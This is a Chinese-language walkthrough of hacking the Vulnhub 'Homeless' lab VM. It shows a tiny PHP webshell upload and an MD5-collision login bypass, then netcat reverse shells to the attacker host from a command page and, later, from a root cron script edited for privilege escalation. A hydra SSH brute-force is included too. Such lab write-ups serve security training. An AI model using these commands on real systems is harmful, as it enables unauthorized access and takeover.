渗透测试之Homeless靶机实战

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/nzjdsds/article/details/84324992

前言

本次靶机难度中等,还是长了很多见识,值得学习

环境准备

下载Homeless靶机:https://download.vulnhub.com/homeless/Homeless.zip

这里我用 virtual box 打开

主机:kali linux 192.168.100.8

靶机 : Homeless靶机

辅助:windows 192.168.100.9

目标:拿下靶机root权限和里面的flag

信息收集

1.确定靶机ip (我是将靶机的网络模式改成nat模式,共享主机的ip,让靶机和主机在同一网段下)

扫描同网段下其余存活主机:

netdiscover -r 192.168.100.0/24

这里192.168.100.11就是目标靶机

然后用nmap对靶机的进行端口扫描

nmap -p 1-65535 192.168.100.11

只开了22 和80端口 

我们先从web下手

构造User-Agent

整个页面都是鸡汤,源代码里面有提示信息

扫描目录,有个robots.txt也有点提示信息

在页面上出现了agaent头部信息

那么我们试着抓包改包看看

可以看到成功将我们上传的User-Agent打印了出来

但是好像没什么其他返回,猜测是验证了我们上传的User-Agent,如果不是它想要的,就直接打印出来

所以我们需要找到一个它需要的User-Agent上传

讲真的这个靶机真的要胆大心细。

看下这个提示,仔细检查。

在网页源码这个位置有一个图片,但是在页面上也没有显示出来,这个应该也是个线索

我们需要在agaent字段填上这个图片的字段 “Cyber​​dog Sledding Portal”(感觉真的挺坑的,而且图片也很小,看不清)

然后我们访问下http://192.168.100.11/myuploader_priv/

发现是一个上传点那么我们尝试上传webshell

发现对文件大小有限制

经过一番测试,发现以下信息:

可以上传任意后缀文件
文件大小必须小于8bytes
新上传的文件会覆盖之前上传的文件

我们必须构造一个足够小的php文件

构造如下代码写入jlzj.php

<?=`ls`;                   #这句代码在php里等同于<?php echo `ls`;?>  ,是这段代码的缩写

 刚好8字节

发现上传成功,并且路径也暴露出来为/files/shell.php

然后我们访问下http://192.168.100.11/myuploader_priv/files/shell.php

可以看到有一个可疑txt文件,访问看看

发现一行密文,各种解密解不出来,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad

一个登陆页面,毫无操作空间,突然看到右上角need Hint,点击就会下载这个页面的源码

是登录页面的后台代码,看来需要思考思考如何绕过

重点在于这里

要求我们POST的username,password,code值不能相同,但是md5必须类型和值都相等才能重定向到admin.php

说到这里,大家可能想到ctf里常用的md5 compare漏洞,但是注意,这里是全等(===),相信大家都知道=====的区别,全等于会检查类型和值。

所以会比较md5(username),md5(password),md5(code)类型和值,双等于存在漏洞的原因其实是,0E开头的MD5值php解析器会解析为numerical strings,在双等于(==)情况下,会先判断类型,识别为numerical strings,会强制转换为数字,所以0e开头的MD5值都为0,所以才能绕过,然而三等于就比较有脾气了,必须一对一的核对两个字符串,不存在什么类型转换问题,所以开头0e相同,后面不同,也就不满足了

那这时大家肯定会说:那就用数组绕过,反正大家都解析为NULL,然而并不行

 返回Your input can not be the same说明三个值相等了,因为三个值都进行了string强制类型转换

那就没办法绕过了吗?当然有

这里使用一个md5快速碰撞工具fastcoll(下载链接附在文末),以及windows文件hash查看命令certutil -hashfile

这里我先简单演示下fastcoll用法

我们先使用fastcoll将一个notepad++.exe文件生成为另外两个不同的notepad++1.exe,notepad++2.exe

然后E盘下面就会多出notepad++1.exe 和notepad++2.exe两个文件夹

然后我们用certutil命令看下他们的md5值

但是本次实验,靶机需要的3个MD5相同的文件

而fastcoll工具只能一次性生成两个文件,只有这两个文件的MD5值相同,所以这里我们需要借助一个工具tail.exe(下载地址见文末)

我们先用fastcoll 随机生成2个md5值相同的文件

fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件

然后我们在通过jlzj1再生成2个MD5相同的值 

D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj1to1 jlzj1to2 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成两个文件的MD5与jlzj1不同

我们对比下jlzj1to1 和jlzj1to2的MD5值

然后我们对比下 jlzj1to1 和jlzj1 MD5值

我们发现值是不一样的,我们用notepad++打开这2个文件看看到底区别在哪

这个是jlzj1to1的文件

这个是jlzj1的文件

但是我们这里能看到jlzj1to1 和jlzj1有个公共的部分

然后我们再jlzj1to1中选择处它比jlzj1多的部分看下它的大小

那么就说明jlzj1to1多了后面的128(256/2)位的内容。

那么接下来我们就要把 这多余的部分提取出来 跟jlzj1结合成新的文件 那么结合出来的文件MD5值就跟jlzj1to1的MD5值一样了

C:\Users\Administrator\Desktop\md5>tail.exe -c 128 jlzj1to1 > a #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1to1与jlzj1的MD5不同的原因

然后我们结合下,生成新的文件

type jlzj1 a > jlzj1to3

type jlzj1 a > jlzj1to4

然后我们再查看下他们的MD5值

我们再看看jlzj1to1和jlzj1to2的MD5

这样我们就有4个MD5相同的文件了

我们用windows下的curl.exe(类似于kali curl命令,下载链接附文末)进行POST测试

curl.exe --data-urlencode username@C:\Users\Administrator\Desktop\md5\jlzj1to1 --data-urlencode password@C:\Users\Administrator\Desktop\md5\jlzj1to2 --data-urlencode code@C:\Users\Administrator\Desktop\md5\jlzj1to3 --data-urlencode "remember=1&login=Login" http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

成功跳转并拿到一个session =ipm65uvfi8v4kkuo3mk4ivtad6

我们用Cookies保存下

然后访问http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php

是一个命令输入框,明摆着命令执行拿shell

看来后台未对输入做任何限制

bash反弹shell

在kali中输入命令:

nc -lvp 4444

在代码执行界面输入:

nc -e /bin/bash 192.168.100.8 4444

 

提权

第一想法是内核提权,但是靶机无法使用wget以及gcc,这样就不能使用溢出漏洞提权了,再试试别的方法

我们先切换到home目录

再切到downfall

cd downfall

通过ls -la查看目录下的文件

在/home目录下看到一个隐藏文件.secret_message

用cat命令查询发现没有响应,应该是没有权限,说不定downfall才能查看

我们再用find看看还有没有其他位置还有没有文件

find / -user downfall 2>/dev/null -ls

再试试另一条

find -type f -user root -group downfall 2>/dev/null

发现一个可疑的py脚本

获取下它的详细信息

看来需要爆破downfall的密码才行

这是还记得robots.txt里面提示的rockyou字典,我们hydra爆破该用户ssh登录试试

但是rockyou的字典很大有100M,要跑字典的话需要花费很长很长的时间

可以分别文本或者多线程python脚本去跑

但是作者在vulnhub留下了提示:

密码是sec开头的,这就好办了,我们把rockyou.txt里sec开头的密码提取出来

grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

然后开始爆破

hydra -l downfall -P pass.txt -t 4 192.168.100.11 ssh

爆破成功,密码为secretlyinlove

登陆ssh

先看下.secret_message的内容

果然我们后来找到的文件也是个线索

然后还有一份email  在/var/mail/downfall(可能你看的时候没有这个信息,那么你等下一分钟在cat下)

cat /var/mail/downfall  会发现内容很长

仔细看下

会发现 每隔一分钟就会生成一次,这样就讲得通啦

那个homeless.py被设置为计划任务,每分钟执行一次,那么我们可以通过修改那个py文件提升权限

我们对 /lib/logs/homeless.py进行修改

vim  /lib/logs/homeless.py

添加以下内容

os.system('/bin/nc -e /bin/bash 192.168.100.8 5555')

还有要在开头加一句 #!/usr/bin/env python 要不然很可能会报错!!!

这样每分钟都会反弹给我们一个shell

在kali上开启nc监听,等待系统自动执行脚本,拿到root权限

nc -lvnp 5555

然后我们cd切换到root目录并且cat flag.txt文件内容

参考链接

fastcoll下载链接:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

tail.exe下载链接:https://www.trisunsoft.com/tail-for-windows.htm

curl.exe下载链接:https://curl.haxx.se/windows/

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/84324992
今日推荐